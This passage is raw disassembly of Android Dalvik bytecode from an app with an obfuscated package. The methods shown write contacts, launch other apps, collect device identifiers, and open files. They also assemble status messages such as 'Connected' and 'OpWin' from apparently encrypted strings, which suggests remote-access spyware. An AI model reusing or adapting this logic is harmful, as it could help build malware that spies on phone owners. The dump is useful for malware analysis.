    00080816invoke-virtual {v6, v1, v2}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
    0008081cmove-result-object v6
    0008081econst-string v1, "data1"
    00080822invoke-virtual {v6, v1, v7}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
    00080828move-result-object v6
    0008082aconst-string v7, "data2"
    0008082econst/4 v1, 0x2
    00080830invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
    00080836move-result-object v1
    00080838invoke-virtual {v6, v7, v1}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
    0008083emove-result-object v6
    00080840invoke-virtual {v6}, Landroid/content/ContentProviderOperation$Builder;->build()Landroid/content/ContentProviderOperation;
    00080846move-result-object v6
    00080848invoke-virtual {v0, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
    0008084einvoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00080854move-result-object v6
    00080856invoke-virtual {v6}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
    0008085cmove-result-object v6
    0008085econst-string v7, "com.android.contacts"
    00080862invoke-virtual {v6, v7, v0}, Landroid/content/ContentResolver;->applyBatch(Ljava/lang/String;Ljava/util/ArrayList;)[Landroid/content/ContentProviderResult;
    00080868return-void
    00080764
    0008086a
    0008086a struct code_item_padding
    0008086a padding uint16 0x0000
    0008086c
    0008086c struct try_item
    0008086c start_addr uint32 0x80774
    00080870 insn_count int 109
    00080872 handler_off uint16 0x8087d
    00080874
    00080874 struct try_item
    00080874 start_addr uint32 0x8084e
    00080878 insn_count int 13
    0008087a handler_off uint16 0x80881
    0008087c
    0008087c struct encoded_catch_handler_list
    0008087c size int 2
    0008087d
    0008087d struct encoded_catch_handler ← 0x80872
    0008087d size int64 1
    0008087e handlers[0].type_idx int 0x5994
    00080880 handlers[0].addr uint32 0x80868
    00080881
    00080881 struct encoded_catch_handler ← 0x8087a
    00080881 size int64 3
    00080882 handlers[0].type_idx int 0x4df4
    00080884 handlers[0].addr uint32 0x80868
    00080885 handlers[1].type_idx int 0x4c78
    00080886 handlers[1].addr uint32 0x80868
    00080887 handlers[2].type_idx int 0x5994
    00080889 handlers[2].addr uint32 0x80868
    0008088a
    0008088a // align 0x4
    0008088c
    0008088ccmf0.c3b5bm90zq.patch.C11::m():
    0008089cnew-instance v0, Ljava/lang/Thread;
    000808a0new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$12;
    000808a4invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$12;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    000808aainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000808b0invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000808b6return-void
    0008088c
    000808b8
    000808b8cmf0.c3b5bm90zq.patch.C11::m(cmf0.c3b5bm90zq.patch.C11):
    000808c8invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->t()V
    000808cereturn-void
    000808b8
    000808d0
    000808d0cmf0.c3b5bm90zq.patch.C11::m(java.lang.String):
    000808e0new-instance v0, Ljava/lang/Thread;
    000808e4new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$10;
    000808e8invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$10;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000808eeinvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000808f4invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000808fareturn-void
    000808d0
    000808fc
    000808fccmf0.c3b5bm90zq.patch.C11::m(java.lang.String, java.lang.String):
    0008090cconst-wide/16 v0, 0x53
    00080910const-wide/16 v2, 0x4e
    00080914invoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C11;->getPackageManager()Landroid/content/pm/PackageManager;
    0008091amove-result-object v4
    0008091cinvoke-virtual {v4, v7}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    00080922move-result-object v7
    00080924if-eqz v7, :cond_47
    00080928invoke-virtual {v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->startActivity(Landroid/content/Intent;)V
    0008092enew-instance v7, Ljava/lang/StringBuilder;
    00080932invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
    00080938sget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008093cinvoke-static {v4, v5, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080942move-result-object v4
    00080944invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008094asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008094einvoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080954sget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080958invoke-static {v4, v5, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008095emove-result-object v4
    00080960invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080966sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008096ainvoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080970const-string v4, "-2"
    00080974invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008097asget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008097einvoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080984invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008098ainvoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00080990move-result-object v7
    00080992invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00080998goto :goto_b4
    0008099anew-instance v7, Ljava/lang/StringBuilder;
    0008099einvoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
    000809a4sget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000809a8invoke-static {v4, v5, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000809aemove-result-object v4
    000809b0invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000809b6sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000809bainvoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000809c0sget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000809c4invoke-static {v4, v5, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000809camove-result-object v4
    000809ccinvoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000809d2sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000809d6invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000809dcconst-string v4, "-1"
    000809e0invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000809e6sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000809eainvoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000809f0invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000809f6invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000809fcmove-result-object v7
    000809fegoto :goto_43
    00080a00move-exception v7
    00080a02new-instance v8, Ljava/lang/StringBuilder;
    00080a06invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
    00080a0csget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080a10invoke-static {v4, v5, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080a16move-result-object v2
    00080a18invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080a1esget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080a22invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080a28sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080a2cinvoke-static {v2, v3, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080a32move-result-object v0
    00080a34invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080a3asget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080a3einvoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080a44invoke-virtual {v7}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
    00080a4amove-result-object v7
    00080a4cinvoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080a52sget-object v7, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080a56invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080a5cconst-string v7, "null"
    00080a60invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080a66invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00080a6cmove-result-object v7
    00080a6einvoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00080a74return-void
    000808fc
    00080a76
    00080a76 struct code_item_padding
    00080a76 padding uint16 0x0000
    00080a78
    00080a78 struct try_item
    00080a78 start_addr uint32 0x80914
    00080a7c insn_count int 117
    00080a7e handler_off uint16 0x80a81
    00080a80
    00080a80 struct encoded_catch_handler_list
    00080a80 size int 1
    00080a81
    00080a81 struct encoded_catch_handler ← 0x80a7e
    00080a81 size int64 1
    00080a82 handlers[0].type_idx int 0x5994
    00080a84 handlers[0].addr uint32 0x80a00
    00080a85
    00080a85 // align 0x8
    00080a88
    00080a88cmf0.c3b5bm90zq.patch.C11::n():
    00080a98sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00080a9cinvoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00080aa2move-result-object v1
    00080aa4invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/a;->b(Landroid/content/Context;)Ljava/lang/String;
    00080aaamove-result-object v0
    00080aacsget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00080ab0invoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00080ab6move-result-object v2
    00080ab8const/16 v3, 0x30
    00080abcinvoke-virtual {v1, v2, v3, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;II)Ljava/lang/String;
    00080ac2move-result-object v1
    00080ac4new-instance v2, Ljava/lang/StringBuilder;
    00080ac8invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    00080acesget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00080ad2invoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00080ad8move-result-object v4
    00080adainvoke-virtual {v3, v4}, Lcmf0/c3b5bm90zq/patch/a;->c(Landroid/content/Context;)Ljava/lang/String;
    00080ae0move-result-object v3
    00080ae2invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080ae8sget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080aecinvoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080af2sget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00080af6invoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00080afcmove-result-object v4
    00080afeinvoke-virtual {v3, v4}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;)Ljava/lang/String;
    00080b04move-result-object v3
    00080b06invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b0csget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080b10invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b16invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b1csget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080b20invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b26sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->b:Ljava/lang/String;
    00080b2ainvoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b30const-string v0, " & "
    00080b34invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b3asget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->c:Ljava/lang/String;
    00080b3einvoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b44sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080b48invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b4einvoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b54invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00080b5amove-result-object v0
    00080b5creturn-object v0
    00080b5enew-instance v0, Ljava/lang/StringBuilder;
    00080b62invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00080b68const-string v1, "b0false"
    00080b6cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b72sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080b76invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b7cconst-string v1, "w0"
    00080b80invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b86sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080b8ainvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b90const-string v1, "null"
    00080b94invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080b9asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080b9einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080ba4const-string v1, "null & null"
    00080ba8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080baesget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080bb2invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080bb8const-string v1, "-1"
    00080bbcinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080bc2invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00080bc8move-result-object v0
    00080bcareturn-object v0
    00080a88
    00080bcc
    00080bcc struct try_item
    00080bcc start_addr uint32 0x80a98
    00080bd0 insn_count int 98
    00080bd2 handler_off uint16 0x80bd5
    00080bd4
    00080bd4 struct encoded_catch_handler_list
    00080bd4 size int 1
    00080bd5
    00080bd5 struct encoded_catch_handler ← 0x80bd2
    00080bd5 size int64 1
    00080bd6 handlers[0].type_idx int 0x5994
    00080bd8 handlers[0].addr uint32 0x80b5e
    00080bd9
    00080bd9 // align 0x4
    00080bdc
    00080bdccmf0.c3b5bm90zq.patch.C11::n(cmf0.c3b5bm90zq.patch.C11):
    00080becinvoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->s()V
    00080bf2return-void
    00080bdc
    00080bf4
    00080bf4cmf0.c3b5bm90zq.patch.C11::n(java.lang.String):
    00080c04sget-boolean v0, Lcmf0/c3b5bm90zq/patch/C6;->c:Z
    00080c08if-nez v0, :cond_38
    00080c0cconst-string v0, "/exit/chat/"
    00080c10invoke-virtual {v6, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
    00080c16move-result v0
    00080c18if-nez v0, :cond_38
    00080c1cnew-instance v0, Landroid/content/Intent;
    00080c20const-class v1, Lcmf0/c3b5bm90zq/patch/C6;
    00080c24invoke-direct {v0, v5, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00080c2aconst/high16 v1, 0x4000000
    00080c2einvoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    00080c34const/high16 v1, 0x10000000
    00080c38invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    00080c3esget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080c42const-wide/16 v3, 0x5a
    00080c46invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080c4cmove-result-object v1
    00080c4eiget-object v2, v5, Lcmf0/c3b5bm90zq/patch/C11;->af:Ljava/lang/String;
    00080c52invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
    00080c58sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080c5cconst-wide/16 v3, 0x5b
    00080c60invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080c66move-result-object v1
    00080c68invoke-virtual {v0, v1, v6}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
    00080c6einvoke-virtual {v5, v0}, Lcmf0/c3b5bm90zq/patch/C11;->startActivity(Landroid/content/Intent;)V
    00080c74new-instance v0, Landroid/content/Intent;
    00080c78invoke-direct {v0}, Landroid/content/Intent;-><init>()V
    00080c7einvoke-virtual {v5}, Lcmf0/c3b5bm90zq/patch/C11;->getResources()Landroid/content/res/Resources;
    00080c84move-result-object v1
    00080c86const v2, 0x7f0c0026
    00080c8cinvoke-virtual {v1, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00080c92move-result-object v1
    00080c94sput-object v1, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
    00080c98sget-object v1, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
    00080c9cinvoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
    00080ca2sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080ca6const-wide/16 v3, 0x5c
    00080caainvoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080cb0move-result-object v1
    00080cb2invoke-virtual {v0, v1, v6}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
    00080cb8invoke-virtual {v5, v0}, Lcmf0/c3b5bm90zq/patch/C11;->sendBroadcast(Landroid/content/Intent;)V
    00080cbereturn-void
    00080bf4
    00080cc0
    00080cc0cmf0.c3b5bm90zq.patch.C11::n(java.lang.String, java.lang.String):
    00080cd0new-instance v0, Ljava/io/File;
    00080cd4invoke-direct {v0, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    00080cdainvoke-virtual {v0}, Ljava/io/File;->exists()Z
    00080ce0move-result v3
    00080ce2if-eqz v3, :cond_25
    00080ce6invoke-static {v0}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
    00080cecmove-result-object v3
    00080ceenew-instance v0, Landroid/content/Intent;
    00080cf2const-string v1, "android.intent.action.VIEW"
    00080cf6invoke-direct {v0, v1, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
    00080cfcconst/high16 v1, 0x10000000
    00080d00invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    00080d06invoke-virtual {v0, v3, v4}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
    00080d0cinvoke-virtual {v2}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00080d12move-result-object v3
    00080d14invoke-virtual {v3, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
    00080d1areturn-void
    00080cc0
    00080d1c
    00080d1c struct try_item
    00080d1c start_addr uint32 0x80cd0
    00080d20 insn_count int 37
    00080d22 handler_off uint16 0x80d25
    00080d24
    00080d24 struct encoded_catch_handler_list
    00080d24 size int 1
    00080d25
    00080d25 struct encoded_catch_handler ← 0x80d22
    00080d25 size int64 1
    00080d26 handlers[0].type_idx int 0x5994
    00080d28 handlers[0].addr uint32 0x80d1a
    00080d29
    00080d29 // align 0x4
    00080d2c
    00080d2ccmf0.c3b5bm90zq.patch.C11::o():
    00080d3ciget-object v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->F:Ljava/lang/String;
    00080d40iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->K:Ljava/lang/String;
    00080d44invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00080d4amove-result v1
    00080d4cif-nez v1, :cond_f
    00080d50iput-object v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->K:Ljava/lang/String;
    00080d54iget-object v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->F:Ljava/lang/String;
    00080d58return-object v0
    00080d5aconst-string v0, "-"
    00080d5ereturn-object v0
    00080d2c
    00080d60
    00080d60cmf0.c3b5bm90zq.patch.C11::o(cmf0.c3b5bm90zq.patch.C11):
    00080d70invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->u()V
    00080d76return-void
    00080d60
    00080d78
    00080d78cmf0.c3b5bm90zq.patch.C11::o(java.lang.String):
    00080d88iput-object v6, v5, Lcmf0/c3b5bm90zq/patch/C11;->af:Ljava/lang/String;
    00080d8csget-boolean v0, Lcmf0/c3b5bm90zq/patch/C6;->c:Z
    00080d90if-nez v0, :cond_26
    00080d94new-instance v0, Landroid/content/Intent;
    00080d98const-class v1, Lcmf0/c3b5bm90zq/patch/C6;
    00080d9cinvoke-direct {v0, v5, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00080da2const/high16 v1, 0x4000000
    00080da6invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    00080dacconst/high16 v1, 0x10000000
    00080db0invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    00080db6sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080dbaconst-wide/16 v3, 0x5a
    00080dbeinvoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080dc4move-result-object v1
    00080dc6invoke-virtual {v0, v1, v6}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
    00080dccinvoke-virtual {v5, v0}, Lcmf0/c3b5bm90zq/patch/C11;->startActivity(Landroid/content/Intent;)V
    00080dd2goto :goto_53
    00080dd4sput-object v6, Lcmf0/c3b5bm90zq/patch/C6;->a:Ljava/lang/String;
    00080dd8new-instance v6, Ljava/lang/StringBuilder;
    00080ddcinvoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
    00080de2sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080de6const-wide/16 v2, 0x4f
    00080deainvoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080df0move-result-object v0
    00080df2invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080df8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080dfcinvoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080e02const-string v0, "Connected"
    00080e06invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080e0csget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080e10invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080e16const-string v0, "OpWin"
    00080e1ainvoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080e20invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00080e26move-result-object v6
    00080e28invoke-static {v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00080e2ereturn-void
    00080d78
    00080e30
    00080e30cmf0.c3b5bm90zq.patch.C11::p():
    00080e40monitor-enter v7
    00080e42sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00080e46invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00080e4cmove-result-object v1
    00080e4einvoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/a;->b(Landroid/content/Context;)Ljava/lang/String;
    00080e54move-result-object v0
    00080e56sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00080e5ainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00080e60move-result-object v2
    00080e62const/16 v3, 0x30
    00080e66invoke-virtual {v1, v2, v3, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;II)Ljava/lang/String;
    00080e6cmove-result-object v1
    00080e6enew-instance v2, Ljava/lang/StringBuilder;
    00080e72invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    00080e78sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080e7cconst-wide/16 v5, 0x55
    00080e80invoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080e86move-result-object v3
    00080e88invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080e8esget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080e92invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080e98invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080e9esget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080ea2invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080ea8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->b:Ljava/lang/String;
